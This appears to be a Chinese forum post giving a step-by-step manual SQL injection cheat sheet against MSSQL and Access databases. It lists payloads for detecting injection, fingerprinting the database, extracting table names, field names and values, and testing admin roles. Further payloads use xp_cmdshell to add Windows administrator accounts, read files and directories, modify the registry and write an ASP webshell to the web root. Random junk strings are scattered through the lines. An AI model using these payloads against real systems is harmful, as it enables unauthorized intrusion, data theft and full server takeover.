手工脚本注入

admin

手工脚本注入
1.判断是否有注入;and 1=1 ;and 1=2

( i: O4 U3 ]( L: c/ d- l4 S$ T2.初步判断是否是mssql ;and user>0

; u9 \+ M; A$ J1 Q: S3.注入参数是字符'and [查询条件] and ''='

- m6 P8 D3 |' p# j2 F4.搜索时没过滤参数的'and [查询条件] and '%25'='

4 a' K& c3 }2 E5 O0 \( u5.判断数据库系统
* y; t* R4 i( w$ c) u;and (select count(*) from sysobjects)>0 mssql
. w% G* q1 S4 n% K" E% _7 O1 l  c;and (select count(*) from msysobjects)>0 access

- s: |3 ?" v( M0 O; t6.猜数据库 ;and (select Count(*) from [数据库名])>0

7.猜字段 ;and (select Count(字段名) from 数据库名)>0
) L2 z0 q9 g. G: P; I7 [3 Y
1 Y& M# w; M' ?7 `8 X8 d! ^" w0 i8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
/ x! J* Y* t0 W0 g, G9 m
9.(1)猜字段的ascii值（access）
8 J/ b' C$ z+ I6 Y  N( t/ S;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值（mssql）
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0

10.测试权限结构（mssql）
2 }" |0 X  k0 `;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
4 W# `3 v8 A0 C; x* `% O* A;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
) X3 F0 @) @1 d$ l" Z- j;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
;and 1=(select IS_MEMBER('db_owner'));--

11.添加mssql和系统的帐户
% s7 [  ]' |$ E;exec master.dbo.sp_addlogin username;--
: K' P% M' p! R6 [) Z( L
4 H( H# }! q- c, W8 H8 z;exec master.dbo.sp_password null,username,password;--

;exec master.dbo.sp_addsrvrolemember sysadmin username;--

( G2 ]' V) u: K;exec master.dbo.xp_cmdshell 'net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
, G" r. k4 x9 h# u/ M" R) o
;exec master.dbo.xp_cmdshell 'net user username password /add';--
; x) }' m1 i- o0 u& a  ^! g' h) U
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
9 }2 q' J' B8 u- }( j. b; H
12.(1)遍历目录
8 u/ E7 L6 g* l! T+ m. |+ `0 ~  ~
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
! U7 X5 [7 z) B3 p' e! R1 i;and (select top 1 paths from dirs)>0
7 b! k$ i/ S2 S- T5 Y2 `2 w* Y;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
6 `9 Q" ~/ p: H$ h. A;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
9 P9 @8 j5 F+ Q0 q% `;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
( o  d7 R+ }8 `( o;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
) \4 O# ?/ k7 y;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
) r" _/ [8 m1 J  J% t
9 K' G, o6 |& m$ [' `5 s+ }13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
6 s9 p% E/ e6 C6 M;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

. Y: E2 I; u3 `$ |xp_regread 根键,子键,键值名
;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
2 L( [' F2 V+ O5 T
5 l  C- R4 O  s0 w: c5 O+ _+ Gxp_regwrite 根键,子键, 值名, 值类型, 值
' h, Q+ g' }4 a% i值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
$ m9 E, M  q, h! l& _; f2 K;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
& R0 |: d& o/ |& a$ l
9 N4 D9 _% a' txp_regdeletevalue 根键,子键,值名
# Q* x4 D1 E8 }, ^, c3 {
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
- R4 P7 a' H% T8 y1 T, p2 J% j$ `
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

14.mssql的backup创建webshell
use model
create table cmd(str image);
1 _, `& |1 z9 s/ o% tinsert into cmd(str) values ('');
! k  j) X/ P) W6 G1 Ubackup database model to disk='c:\l.asp';
4 P* h# c& H: D. y- @& W" {3 P5 P
15.mssql内置函数
: b9 d7 @/ W  d% q! N3 t! G# a5 `;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
( _0 h7 O* p/ V5 Y;and (select db_name())>0 得到当前连接的数据库

16.简洁的webshell

2 u  y9 U  n; S2 Q3 |7 Ause model

create table cmd(str image);
$ Y9 c& S7 H2 E2 C7 u, _
! K0 Y9 X: W; f) g, p! `insert into cmd(str) values ('');

$ c) @; a0 s+ f" S. abackup database model to disk='g:\wwwtest\l.asp';
8 A8 t( j* f  F5 I5 `0 x+ k

老男孩

现在很多防注入啊，有其他注入字符码